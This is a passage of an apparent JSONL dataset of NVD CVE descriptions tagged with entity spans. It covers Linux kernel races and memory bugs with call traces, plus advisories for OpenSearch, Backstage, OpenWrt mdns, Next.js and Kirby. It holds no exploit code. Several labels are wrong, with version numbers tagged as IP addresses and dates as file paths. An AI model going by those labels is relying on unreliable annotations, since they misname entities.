clear_opt(READ_EXTENT_CACHE)\n\n- f2fs_remount\n - default_options\n  - set_opt(READ_EXTENT_CACHE)\n\t\t\t\t- f2fs_fallocate\n\t\t\t\t - f2fs_insert_range\n\t\t\t\t  - f2fs_drop_extent_tree\n\t\t\t\t   - __drop_extent_tree\n\t\t\t\t    - __may_extent_tree\n\t\t\t\t     - test_opt(READ_EXTENT_CACHE) return true\n\t\t\t\t    - write_lock(&et->lock) access NULL pointer\n - parse_options\n  - clear_opt(READ_EXTENT_CACHE)", "spans": {"FILEPATH: /locking/lockdep.c": [[315, 333], [383, 401]], "FILEPATH: /linux/rwlock_api_smp.h": [[432, 455]], "FILEPATH: /locking/spinlock.c": [[502, 521]], "FILEPATH: /f2fs/extent_cache.c": [[560, 580], [621, 641]], "FILEPATH: /f2fs/file.c": [[680, 692], [728, 740]], "FILEPATH: /x86/entry/common.c": [[978, 997], [1039, 1058]], "FILEPATH: open.c": [[776, 782], [806, 812], [849, 855], [892, 898], [947, 953]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: race condition": [[1123, 1137], [1490, 1504]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53447"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: bridge: mcast: wait for previous gc cycles when removing port\n\nsyzbot hit a use-after-free[1] which is caused because the bridge doesn't\nmake sure that all previous garbage has been collected when removing a\nport. What happens is:\n      CPU 1                   CPU 2\n start gc cycle           remove port\n                         acquire gc lock first\n wait for lock\n                         call br_multicasg_gc() directly\n acquire lock now but    free port\n the port can be freed\n while grp timers still\n running\n\nMake sure all previous gc cycles have finished by using flush_work before\nfreeing the port.\n\n[1]\n  BUG: KASAN: slab-use-after-free in br_multicast_port_group_expired+0x4c0/0x550 net/bridge/br_multicast.c:861\n  Read of size 8 at addr ffff888071d6d000 by task syz.5.1232/9699\n\n  CPU: 1 PID: 9699 Comm: syz.5.1232 Not tainted 6.10.0-rc5-syzkaller-00021-g24ca36a562d6 #0\n  Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 06/07/2024\n  Call Trace:\n   <IRQ>\n   __dump_stack lib/dump_stack.c:88 [inline]\n   dump_stack_lvl+0x116/0x1f0 lib/dump_stack.c:114\n   print_address_description mm/kasan/report.c:377 [inline]\n   print_report+0xc3/0x620 mm/kasan/report.c:488\n   kasan_report+0xd9/0x110 mm/kasan/report.c:601\n   br_multicast_port_group_expired+0x4c0/0x550 net/bridge/br_multicast.c:861\n   call_timer_fn+0x1a3/0x610 kernel/time/timer.c:1792\n   expire_timers kernel/time/timer.c:1843 [inline]\n   __run_timers+0x74b/0xaf0 kernel/time/timer.c:2417\n   __run_timer_base kernel/time/timer.c:2428 [inline]\n   __run_timer_base kernel/time/timer.c:2421 [inline]\n   run_timer_base+0x111/0x190 kernel/time/timer.c:2437", "spans": {"FILEPATH: /bridge/br_multicast.c": [[771, 793], [1376, 1398]], "FILEPATH: /07/2024": [[1040, 1048]], "FILEPATH: /kasan/report.c": [[1199, 1214], [1257, 1272], [1306, 1321]], "FILEPATH: /time/timer.c": [[1438, 1451], [1480, 1493], [1542, 1555], [1587, 1600], [1641, 1654], [1705, 1718]], "FILEPATH: dump_stack.c": [[1092, 1104], [1151, 1163]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[974, 980], [981, 987], [1003, 1009], [1031, 1037]], "VULNERABILITY: use-after-free": [[150, 164], [706, 720]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-44934"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbatman-adv: Drop unmanaged ELP metric worker\n\nThe ELP worker needs to calculate new metric values for all neighbors\n\"reachable\" over an interface. Some of the used metric sources require\nlocks which might need to sleep. This sleep is incompatible with the RCU\nlist iterator used for the recorded neighbors. The initial approach to work\naround of this problem was to queue another work item per neighbor and then\nrun this in a new context.\n\nEven when this solved the RCU vs might_sleep() conflict, it has a major\nproblems: Nothing was stopping the work item in case it is not needed\nanymore - for example because one of the related interfaces was removed or\nthe batman-adv module was unloaded - resulting in potential invalid memory\naccesses.\n\nDirectly canceling the metric worker also has various problems:\n\n* cancel_work_sync for a to-be-deactivated interface is called with\n  rtnl_lock held. But the code in the ELP metric worker also tries to use\n  rtnl_lock() - which will never return in this case. This also means that\n  cancel_work_sync would never return because it is waiting for the worker\n  to finish.\n* iterating over the neighbor list for the to-be-deactivated interface is\n  currently done using the RCU specific methods. Which means that it is\n  possible to miss items when iterating over it without the associated\n  spinlock - a behaviour which is acceptable for a periodic metric check\n  but not for a cleanup routine (which must \"stop\" all still running\n  workers)\n\nThe better approch is to get rid of the per interface neighbor metric\nworker and handle everything in the interface worker. The original problems\nare solved by:\n\n* creating a list of neighbors which require new metric information inside\n  the RCU protected context, gathering the metric according to the new list\n  outside the RCU protected context\n* only use rcu_trylock inside metric gathering code to avoid a deadlock\n  when the cancel_delayed_work_sync is called in the interface removal code\n  (which is called with the rtnl_lock held)", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-21823"}}
{"text": "OpenSearch is an open source distributed and RESTful search engine. OpenSearch uses JWTs to store role claims obtained from the Identity Provider (IdP) when the authentication backend is SAML or OpenID Connect. There is an issue in how those claims are processed from the JWTs where the leading and trailing whitespace is trimmed, allowing users to potentially claim roles they are not assigned to if any role matches the whitespace-stripped version of the roles they are a member of. This issue is only present for authenticated users, and it requires either the existence of roles that match, not considering leading/trailing whitespace, or the ability for users to create said matching roles. In addition, the Identity Provider must allow leading and trailing spaces in role names. OpenSearch 1.0.0-1.3.7 and 2.0.0-2.4.1 are affected. Users are advised to upgrade to OpenSearch 1.3.8 or 2.5.0. There are no known workarounds for this issue.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-23612"}}
{"text": "Backstage is an open framework for building developer portals, and @backstage/plugin-techdocs-node provides common node.js functionalities for TechDocs. In versions of @backstage/plugin-techdocs-node prior to 1.13.11 and 1.14.1, a path traversal vulnerability in the TechDocs local generator allows attackers to read arbitrary files from the host filesystem when Backstage is configured with `techdocs.generator.runIn: local`. When processing documentation from untrusted sources, symlinks within the docs directory are followed by MkDocs during the build process. File contents are embedded into generated HTML and exposed to users who can view the documentation. This vulnerability is fixed in` @backstage/plugin-techdocs-node` versions 1.13.11 and 1.14.1. Some workarounds are available. Switch to `runIn: docker` in `app-config.yaml` and/or restrict write access to TechDocs source repositories to trusted users only.", "spans": {"FILEPATH: node.js": [[115, 122]], "FILEPATH: config.yaml": [[825, 836]], "VULNERABILITY: path traversal": [[231, 245]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-25152"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: qla2xxx: Use raw_smp_processor_id() instead of smp_processor_id()\n\nThe following call trace was observed:\n\nlocalhost kernel: nvme nvme0: NVME-FC{0}: controller connect complete\nlocalhost kernel: BUG: using smp_processor_id() in preemptible [00000000] code: kworker/u129:4/75092\nlocalhost kernel: nvme nvme0: NVME-FC{0}: new ctrl: NQN \"nqn.1992-08.com.netapp:sn.b42d198afb4d11ecad6d00a098d6abfa:subsystem.PR_Channel2022_RH84_subsystem_291\"\nlocalhost kernel: caller is qla_nvme_post_cmd+0x216/0x1380 [qla2xxx]\nlocalhost kernel: CPU: 6 PID: 75092 Comm: kworker/u129:4 Kdump: loaded Tainted: G    B   W  OE    --------- ---  5.14.0-70.22.1.el9_0.x86_64+debug #1\nlocalhost kernel: Hardware name: HPE ProLiant XL420 Gen10/ProLiant XL420 Gen10, BIOS U39 01/13/2022\nlocalhost kernel: Workqueue: nvme-wq nvme_async_event_work [nvme_core]\nlocalhost kernel: Call Trace:\nlocalhost kernel: dump_stack_lvl+0x57/0x7d\nlocalhost kernel: check_preemption_disabled+0xc8/0xd0\nlocalhost kernel: qla_nvme_post_cmd+0x216/0x1380 [qla2xxx]\n\nUse raw_smp_processor_id() instead of smp_processor_id().\n\nAlso use queue_work() across the driver instead of queue_work_on() thus\navoiding usage of smp_processor_id() when CONFIG_DEBUG_PREEMPT is enabled.", "spans": {"DOMAIN: nqn.1992-08.com": [[410, 425]], "HASH: b42d198afb4d11ecad6d00a098d6abfa": [[436, 468]], "FILEPATH: /13/2022": [[824, 832]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53530"}}
{"text": "A vulnerability has been identified in SIMATIC CP 1242-7 V2 (incl. SIPLUS variants) (All versions < V3.5.20), SIMATIC CP 1243-1 (incl. SIPLUS variants) (All versions < V3.5.20), SIMATIC CP 1243-1 DNP3 (incl. SIPLUS variants) (All versions < V3.5.20), SIMATIC CP 1243-1 IEC (incl. SIPLUS variants) (All versions < V3.5.20), SIMATIC CP 1243-7 LTE (All versions < V3.5.20), SIMATIC CP 1243-8 IRC (6GK7243-8RX30-0XE0) (All versions < V3.5.20), SIMATIC HMI Comfort Panels (incl. SIPLUS variants) (All versions), SIMATIC IPC DiagBase (All versions), SIMATIC IPC DiagMonitor (All versions), SIMATIC WinCC Runtime Advanced (All versions), SIPLUS TIM 1531 IRC (6AG1543-1MX00-7XE0) (All versions < V2.4.8), TIM 1531 IRC (6GK7543-1MX00-0XE0) (All versions < V2.4.8). The web server of the affected devices do not properly handle the shutdown or reboot request, which could lead to the clean up of certain resources. \r\n\r\nThis could allow a remote attacker with elevated privileges to cause a denial of service condition in the system.", "spans": {"VULNERABILITY: denial of service": [[980, 997]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-30755"}}
{"text": "This vulnerability allows remote attackers to execute arbitrary code on affected installations of Foxit Studio Photo 3.6.6.922. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the handling of NEF files. The issue results from the lack of proper validation of user-supplied data, which can result in a write past the end of an allocated structure. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-11194.", "spans": {"IP_ADDRESS: 3.6.6.922": [[117, 126]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-17421"}}
{"text": "Buffer Overflow Vulnerability in JP1/IT Desktop Management 2 - Manager on Windows, JP1/IT Desktop Management 2 - Operations Director on Windows, Job Management Partner 1/IT Desktop Management 2 - Manager on Windows, JP1/IT Desktop Management - Manager on Windows, Job Management Partner 1/IT Desktop Management - Manager on Windows, JP1/NETM/DM Manager on Windows, JP1/NETM/DM Client on Windows, Job Management Partner 1/Software Distribution Manager on Windows, Job Management Partner 1/Software Distribution Client on Windows.This issue affects JP1/IT Desktop Management 2 - Manager: from 13-50 before 13-50-02, from 13-11 before 13-11-04, from 13-10 before 13-10-07, from 13-01 before 13-01-07, from 13-00 before 13-00-05, from 12-60 before 12-60-12, from 10-50 through 12-50-11; JP1/IT Desktop Management 2 - Operations Director: from 13-50 before 13-50-02, from 13-11 before 13-11-04, from 13-10 before 13-10-07, from 13-01 before 13-01-07, from 13-00 before 13-00-05, from 12-60 before 12-60-12, from 10-50 through 12-50-11; Job Management Partner 1/IT Desktop Management 2 - Manager: from 10-50 through 10-50-11; JP1/IT Desktop Management - Manager: from 09-50 through 10-10-16; Job Management Partner 1/IT Desktop Management - Manager: from 09-50 through 10-10-16; JP1/NETM/DM Manager: from 09-00 through 10-20-02; JP1/NETM/DM Client: from 09-00 through 10-20-02; Job Management Partner 1/Software Distribution Manager: from 09-00 through 09-51-13; Job Management Partner 1/Software Distribution Client: from 09-00 through 09-51-13.", "spans": {"FILEPATH: /NETM/DM": [[336, 344], [368, 376], [1276, 1284], [1326, 1334]], "SYSTEM: Windows": [[74, 81], [136, 143], [207, 214], [255, 262], [324, 331], [356, 363], [387, 394], [454, 461], [520, 527]], "VULNERABILITY: Buffer Overflow": [[0, 15]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-65116"}}
{"text": "OpenWrt Project is a Linux operating system targeting embedded devices. In versions prior to 24.10.6 and 25.12.1, the mdns daemon has a Stack-based Buffer Overflow vulnerability in the parse_question function. The issue is  triggered by PTR queries for reverse DNS domains (.in-addr.arpa and .ip6.arpa). DNS packets received on UDP port 5353 are expanded by dn_expand into an 8096-byte global buffer (name_buffer), which is then copied via an unbounded strcpy into a fixed 256-byte stack buffer when handling TYPE_PTR queries. The overflow is possible because dn_expand converts non-printable ASCII bytes (e.g., 0x01) into multi-character octal representations (e.g., \\001), significantly inflating the expanded name beyond the stack buffer's capacity. A crafted DNS packet can exploit this expansion behavior to overflow the stack buffer, making the vulnerability reachable through normal multicast DNS packet processing. This issue has been fixed in versions 24.10.6 and 25.12.1.", "spans": {"SYSTEM: Linux": [[21, 26]], "VULNERABILITY: Stack-based Buffer Overflow": [[136, 163]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-30871"}}
{"text": "Next.js is a React framework for building full-stack web applications. Starting in version 10.0.0 and prior to version 16.1.7, the default Next.js image optimization disk cache (`/_next/image`) did not have a configurable upper bound, allowing unbounded cache growth. An attacker could generate many unique image-optimization variants and exhaust disk space, causing denial of service. This is fixed in version 16.1.7 by adding an LRU-backed disk cache with `images.maximumDiskCacheSize`, including eviction of least-recently-used entries when the limit is exceeded. Setting `maximumDiskCacheSize: 0` disables disk caching. If upgrading is not immediately possible, periodically clean `.next/cache/images` and/or reduce variant cardinality (e.g., tighten values for `images.localPatterns`, `images.remotePatterns`, and `images.qualities`).", "spans": {"FILEPATH: /_next/image": [[179, 191]], "FILEPATH: /cache/images": [[691, 704]], "FILEPATH: Next.js": [[0, 7], [139, 146]], "VULNERABILITY: denial of service": [[367, 384]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-27980"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmd: fix deadlock between mddev_suspend and flush bio\n\nDeadlock occurs when mddev is being suspended while some flush bio is in\nprogress. It is a complex issue.\n\nT1. the first flush is at the ending stage, it clears 'mddev->flush_bio'\n    and tries to submit data, but is blocked because mddev is suspended\n    by T4.\nT2. the second flush sets 'mddev->flush_bio', and attempts to queue\n    md_submit_flush_data(), which is already running (T1) and won't\n    execute again if on the same CPU as T1.\nT3. the third flush inc active_io and tries to flush, but is blocked because\n    'mddev->flush_bio' is not NULL (set by T2).\nT4. mddev_suspend() is called and waits for active_io dec to 0 which is inc\n    by T3.\n\n  T1\t\tT2\t\tT3\t\tT4\n  (flush 1)\t(flush 2)\t(third 3)\t(suspend)\n  md_submit_flush_data\n   mddev->flush_bio = NULL;\n   .\n   .\t \tmd_flush_request\n   .\t  \t mddev->flush_bio = bio\n   .\t  \t queue submit_flushes\n   .\t\t .\n   .\t\t .\t\tmd_handle_request\n   .\t\t .\t\t active_io + 1\n   .\t\t .\t\t md_flush_request\n   .\t\t .\t\t  wait !mddev->flush_bio\n   .\t\t .\n   .\t\t .\t\t\t\tmddev_suspend\n   .\t\t .\t\t\t\t wait !active_io\n   .\t\t .\n   .\t\t submit_flushes\n   .\t\t queue_work md_submit_flush_data\n   .\t\t //md_submit_flush_data is already running (T1)\n   .\n   md_handle_request\n    wait resume\n\nThe root issue is non-atomic inc/dec of active_io during flush process.\nactive_io is dec before md_submit_flush_data is queued, and inc soon\nafter md_submit_flush_data() run.\n  md_flush_request\n    active_io + 1\n    submit_flushes\n      active_io - 1\n      md_submit_flush_data\n        md_handle_request\n        active_io + 1\n          make_request\n        active_io - 1\n\nIf active_io is dec after md_handle_request() instead of within\nsubmit_flushes(), make_request() can be called directly intead of\nmd_handle_request() in md_submit_flush_data(), and active_io will\nonly inc and dec once in the whole flush process. Deadlock will be\nfixed.\n\nAdditionally, the only difference between fixing the issue and before is\nthat there is no return error handling of make_request(). But after\nprevious patch cleaned md_write_start(), make_requst() only return error\nin raid5_make_request() by dm-raid, see commit 41425f96d7aa (\"dm-raid456,\nmd/raid456: fix a deadlock for dm-raid456 while io concurrent with\nreshape)\". Since dm always splits data and flush operation into two\nseparate io, io size of flush submitted by dm always is 0, make_request()\nwill not be called in md_submit_flush_data(). To prevent future\nmodifications from introducing issues, add WARN_ON to ensure\nmake_request() no error is returned in this context.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-43855"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: fix lockdep splat in in6_dump_addrs()\n\nAs reported by syzbot, we should not use rcu_dereference()\nwhen rcu_read_lock() is not held.\n\nWARNING: suspicious RCU usage\n5.19.0-rc2-syzkaller #0 Not tainted\n\nnet/ipv6/addrconf.c:5175 suspicious rcu_dereference_check() usage!\n\nother info that might help us debug this:\n\nrcu_scheduler_active = 2, debug_locks = 1\n1 lock held by syz-executor326/3617:\n #0: ffffffff8d5848e8 (rtnl_mutex){+.+.}-{3:3}, at: netlink_dump+0xae/0xc20 net/netlink/af_netlink.c:2223\n\nstack backtrace:\nCPU: 0 PID: 3617 Comm: syz-executor326 Not tainted 5.19.0-rc2-syzkaller #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 01/01/2011\nCall Trace:\n <TASK>\n __dump_stack lib/dump_stack.c:88 [inline]\n dump_stack_lvl+0xcd/0x134 lib/dump_stack.c:106\n in6_dump_addrs+0x12d1/0x1790 net/ipv6/addrconf.c:5175\n inet6_dump_addr+0x9c1/0xb50 net/ipv6/addrconf.c:5300\n netlink_dump+0x541/0xc20 net/netlink/af_netlink.c:2275\n __netlink_dump_start+0x647/0x900 net/netlink/af_netlink.c:2380\n netlink_dump_start include/linux/netlink.h:245 [inline]\n rtnetlink_rcv_msg+0x73e/0xc90 net/core/rtnetlink.c:6046\n netlink_rcv_skb+0x153/0x420 net/netlink/af_netlink.c:2501\n netlink_unicast_kernel net/netlink/af_netlink.c:1319 [inline]\n netlink_unicast+0x543/0x7f0 net/netlink/af_netlink.c:1345\n netlink_sendmsg+0x917/0xe10 net/netlink/af_netlink.c:1921\n sock_sendmsg_nosec net/socket.c:714 [inline]\n sock_sendmsg+0xcf/0x120 net/socket.c:734\n ____sys_sendmsg+0x6eb/0x810 net/socket.c:2492\n ___sys_sendmsg+0xf3/0x170 net/socket.c:2546\n __sys_sendmsg net/socket.c:2575 [inline]\n __do_sys_sendmsg net/socket.c:2584 [inline]\n __se_sys_sendmsg net/socket.c:2582 [inline]\n __x64_sys_sendmsg+0x132/0x220 net/socket.c:2582\n do_syscall_x64 arch/x86/entry/common.c:50 [inline]\n do_syscall_64+0x35/0xb0 arch/x86/entry/common.c:80\n entry_SYSCALL_64_after_hwframe+0x46/0xb0", "spans": {"FILEPATH: /ipv6/addrconf.c": [[278, 294], [898, 914], [952, 968]], "FILEPATH: /netlink/af_netlink.c": [[544, 565], [1003, 1024], [1067, 1088], [1240, 1261], [1294, 1315], [1362, 1383], [1421, 1442]], "FILEPATH: /01/2011": [[745, 753]], "FILEPATH: /linux/netlink.h": [[1121, 1137]], "FILEPATH: /core/rtnetlink.c": [[1185, 1202]], "FILEPATH: /x86/entry/common.c": [[1829, 1848], [1890, 1909]], "FILEPATH: dump_stack.c": [[792, 804], [848, 860]], "FILEPATH: socket.c": [[1472, 1480], [1523, 1531], [1569, 1577], [1614, 1622], [1647, 1655], [1692, 1700], [1737, 1745], [1795, 1803]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[679, 685], [686, 692], [708, 714], [736, 742]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49662"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nocfs2: fix race between searching chunks and release journal_head from buffer_head\n\nEncountered a race between ocfs2_test_bg_bit_allocatable() and\njbd2_journal_put_journal_head() resulting in the below vmcore.\n\n  PID: 106879  TASK: ffff880244ba9c00  CPU: 2   COMMAND: \"loop3\"\n  Call trace:\n    panic\n    oops_end\n    no_context\n    __bad_area_nosemaphore\n    bad_area_nosemaphore\n    __do_page_fault\n    do_page_fault\n    page_fault\n      [exception RIP: ocfs2_block_group_find_clear_bits+316]\n    ocfs2_block_group_find_clear_bits [ocfs2]\n    ocfs2_cluster_group_search [ocfs2]\n    ocfs2_search_chain [ocfs2]\n    ocfs2_claim_suballoc_bits [ocfs2]\n    __ocfs2_claim_clusters [ocfs2]\n    ocfs2_claim_clusters [ocfs2]\n    ocfs2_local_alloc_slide_window [ocfs2]\n    ocfs2_reserve_local_alloc_bits [ocfs2]\n    ocfs2_reserve_clusters_with_limit [ocfs2]\n    ocfs2_reserve_clusters [ocfs2]\n    ocfs2_lock_refcount_allocators [ocfs2]\n    ocfs2_make_clusters_writable [ocfs2]\n    ocfs2_replace_cow [ocfs2]\n    ocfs2_refcount_cow [ocfs2]\n    ocfs2_file_write_iter [ocfs2]\n    lo_rw_aio\n    loop_queue_work\n    kthread_worker_fn\n    kthread\n    ret_from_fork\n\nWhen ocfs2_test_bg_bit_allocatable() called bh2jh(bg_bh), the\nbg_bh->b_private NULL as jbd2_journal_put_journal_head() raced and\nreleased the jounal head from the buffer head.  Needed to take bit lock\nfor the bit 'BH_JournalHead' to fix this race.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47493"}}
{"text": "Kirby is a content management system. A vulnerability in versions prior to 3.5.8.3, 3.6.6.3, 3.7.5.2, 3.8.4.1, and 3.9.6 affects all Kirby sites that might have potential attackers in the group of authenticated Panel users or that allow external visitors to upload an arbitrary file to the content folder. Kirby sites are not affected if they don't allow file uploads for untrusted users or visitors or if the file extensions of uploaded files are limited to a fixed safe list. The attack requires user interaction by another user or visitor and cannot be automated.\n\nAn editor with write access to the Kirby Panel could upload a file with an unknown file extension like `.xyz` that contains HTML code including harmful content like `<script>` tags. The direct link to that file could be sent to other users or visitors of the site. If the victim opened that link in a browser where they are logged in to Kirby and the file had not been opened by anyone since the upload, Kirby would not be able to send the correct MIME content type, instead falling back to `text/html`. The browser would then run the script, which could for example trigger requests to Kirby's API with the permissions of the victim.\n\nThe issue was caused by the underlying `Kirby\\Http\\Response::file()` method, which didn't have an explicit fallback if the MIME type could not be determined from the file extension. If you use this method in site or plugin code, these uses may be affected by the same vulnerability.\n\nThe problem has been patched in Kirby 3.5.8.3, 3.6.6.3, 3.7.5.2, 3.8.4.1, and 3.9.6. In all of the mentioned releases, the maintainers have fixed the affected method to use a fallback MIME type of `text/plain` and set the `X-Content-Type-Options: nosniff` header if the MIME type of the file is unknown.", "spans": {"IP_ADDRESS: 3.5.8.3": [[75, 82], [1526, 1533]], "IP_ADDRESS: 3.6.6.3": [[84, 91], [1535, 1542]], "IP_ADDRESS: 3.7.5.2": [[93, 100], [1544, 1551]], "IP_ADDRESS: 3.8.4.1": [[102, 109], [1553, 1560]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-38491"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/xe: always keep track of remap prev/next\n\nDuring 3D workload, user is reporting hitting:\n\n[  413.361679] WARNING: drivers/gpu/drm/xe/xe_vm.c:1217 at vm_bind_ioctl_ops_unwind+0x1e2/0x2e0 [xe], CPU#7: vkd3d_queue/9925\n[  413.361944] CPU: 7 UID: 1000 PID: 9925 Comm: vkd3d_queue Kdump: loaded Not tainted 7.0.0-070000rc3-generic #202603090038 PREEMPT(lazy)\n[  413.361949] RIP: 0010:vm_bind_ioctl_ops_unwind+0x1e2/0x2e0 [xe]\n[  413.362074] RSP: 0018:ffffd4c25c3df930 EFLAGS: 00010282\n[  413.362077] RAX: 0000000000000000 RBX: ffff8f3ee817ed10 RCX: 0000000000000000\n[  413.362078] RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000000\n[  413.362079] RBP: ffffd4c25c3df980 R08: 0000000000000000 R09: 0000000000000000\n[  413.362081] R10: 0000000000000000 R11: 0000000000000000 R12: ffff8f41fbf99380\n[  413.362082] R13: ffff8f3ee817e968 R14: 00000000ffffffef R15: ffff8f43d00bd380\n[  413.362083] FS:  00000001040ff6c0(0000) GS:ffff8f4696d89000(0000) knlGS:00000000330b0000\n[  413.362085] CS:  0010 DS: 002b ES: 002b CR0: 0000000080050033\n[  413.362086] CR2: 00007ddfc4747000 CR3: 00000002e6262005 CR4: 0000000000f72ef0\n[  413.362088] PKRU: 55555554\n[  413.362089] Call Trace:\n[  413.362092]  <TASK>\n[  413.362096]  xe_vm_bind_ioctl+0xa9a/0xc60 [xe]\n\nWhich seems to hint that the vma we are re-inserting for the ops unwind\nis either invalid or overlapping with something already inserted in the\nvm. It shouldn't be invalid since this is a re-insertion, so must have\nworked before. Leaving the likely culprit as something already placed\nwhere we want to insert the vma.\n\nFollowing from that, for the case where we do something like a rebind in\nthe middle of a vma, and one or both mapped ends are already compatible,\nwe skip doing the rebind of those vma and set next/prev to NULL. As well\nas then adjust the original unmap va range, to avoid unmapping the ends.\nHowever, if we trigger the unwind path, we end up with three va, with\nthe two ends never being removed and the original va range in the middle\nstill being the shrunken size.\n\nIf this occurs, one failure mode is when another unwind op needs to\ninteract with that range, which can happen with a vector of binds. For\nexample, if we need to re-insert something in place of the original va.\nIn this case the va is still the shrunken version, so when removing it\nand then doing a re-insert it can overlap with the ends, which were\nnever removed, triggering a warning like above, plus leaving the vm in a\nbad state.\n\nWith that, we need two things here:\n\n 1) Stop nuking the prev/next tracking for the skip cases. Instead\n    relying on checking for skip prev/next, where needed. That way on the\n    unwind path, we now correctly remove both ends.\n\n 2) Undo the unmap va shrinkage, on the unwind path. With the two ends\n    now removed the unmap va should expand back to the original size again,\n    before re-insertion.\n\nv2:\n  - Update the explanation in the commit message, based on an actual IGT of\n    triggering this issue, rather than conjecture.\n  - Also undo the unmap shrinkage, for the skip case. With the two ends\n    now removed, the original unmap va range should expand back to the\n    original range.\nv3:\n  - Track the old start/range separately. vma_size/start() uses the va\n    info directly.\n\n(cherry picked from commit aec6969f75afbf4e01fd5fb5850ed3e9c27043ac)", "spans": {"HASH: aec6969f75afbf4e01fd5fb5850ed3e9c27043ac": [[3368, 3408]], "FILEPATH: /gpu/drm/xe/xe_vm.c": [[194, 213]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-31479"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnilfs2: fix NULL pointer dereference in nilfs_palloc_commit_free_entry()\n\nSyzbot reported a null-ptr-deref bug:\n\n NILFS (loop0): segctord starting. Construction interval = 5 seconds, CP\n frequency < 30 seconds\n general protection fault, probably for non-canonical address\n 0xdffffc0000000002: 0000 [#1] PREEMPT SMP KASAN\n KASAN: null-ptr-deref in range [0x0000000000000010-0x0000000000000017]\n CPU: 1 PID: 3603 Comm: segctord Not tainted\n 6.1.0-rc2-syzkaller-00105-gb229b6ca5abb #0\n Hardware name: Google Compute Engine/Google Compute Engine, BIOS Google\n 10/11/2022\n RIP: 0010:nilfs_palloc_commit_free_entry+0xe5/0x6b0\n fs/nilfs2/alloc.c:608\n Code: 00 00 00 00 fc ff df 80 3c 02 00 0f 85 cd 05 00 00 48 b8 00 00 00\n 00 00 fc ff df 4c 8b 73 08 49 8d 7e 10 48 89 fa 48 c1 ea 03 <80> 3c 02\n 00 0f 85 26 05 00 00 49 8b 46 10 be a6 00 00 00 48 c7 c7\n RSP: 0018:ffffc90003dff830 EFLAGS: 00010212\n RAX: dffffc0000000000 RBX: ffff88802594e218 RCX: 000000000000000d\n RDX: 0000000000000002 RSI: 0000000000002000 RDI: 0000000000000010\n RBP: ffff888071880222 R08: 0000000000000005 R09: 000000000000003f\n R10: 000000000000000d R11: 0000000000000000 R12: ffff888071880158\n R13: ffff88802594e220 R14: 0000000000000000 R15: 0000000000000004\n FS:  0000000000000000(0000) GS:ffff8880b9b00000(0000)\n knlGS:0000000000000000\n CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n CR2: 00007fb1c08316a8 CR3: 0000000018560000 CR4: 0000000000350ee0\n Call Trace:\n  <TASK>\n  nilfs_dat_commit_free fs/nilfs2/dat.c:114 [inline]\n  nilfs_dat_commit_end+0x464/0x5f0 fs/nilfs2/dat.c:193\n  nilfs_dat_commit_update+0x26/0x40 fs/nilfs2/dat.c:236\n  nilfs_btree_commit_update_v+0x87/0x4a0 fs/nilfs2/btree.c:1940\n  nilfs_btree_commit_propagate_v fs/nilfs2/btree.c:2016 [inline]\n  nilfs_btree_propagate_v fs/nilfs2/btree.c:2046 [inline]\n  nilfs_btree_propagate+0xa00/0xd60 fs/nilfs2/btree.c:2088\n  nilfs_bmap_propagate+0x73/0x170 fs/nilfs2/bmap.c:337\n  nilfs_collect_file_data+0x45/0xd0 fs/nilfs2/segment.c:568\n  nilfs_segctor_apply_buffers+0x14a/0x470 fs/nilfs2/segment.c:1018\n  nilfs_segctor_scan_file+0x3f4/0x6f0 fs/nilfs2/segment.c:1067\n  nilfs_segctor_collect_blocks fs/nilfs2/segment.c:1197 [inline]\n  nilfs_segctor_collect fs/nilfs2/segment.c:1503 [inline]\n  nilfs_segctor_do_construct+0x12fc/0x6af0 fs/nilfs2/segment.c:2045\n  nilfs_segctor_construct+0x8e3/0xb30 fs/nilfs2/segment.c:2379\n  nilfs_segctor_thread_construct fs/nilfs2/segment.c:2487 [inline]\n  nilfs_segctor_thread+0x3c3/0xf30 fs/nilfs2/segment.c:2570\n  kthread+0x2e4/0x3a0 kernel/kthread.c:376\n  ret_from_fork+0x1f/0x30 arch/x86/entry/entry_64.S:306\n  </TASK>\n ...\n\nIf DAT metadata file is corrupted on disk, there is a case where\nreq->pr_desc_bh is NULL and blocknr is 0 at nilfs_dat_commit_end() during\na b-tree operation that cascadingly updates ancestor nodes of the b-tree,\nbecause nilfs_dat_commit_alloc() for a lower level block can initialize\nthe blocknr on the same DAT entry between nilfs_dat_prepare_end() 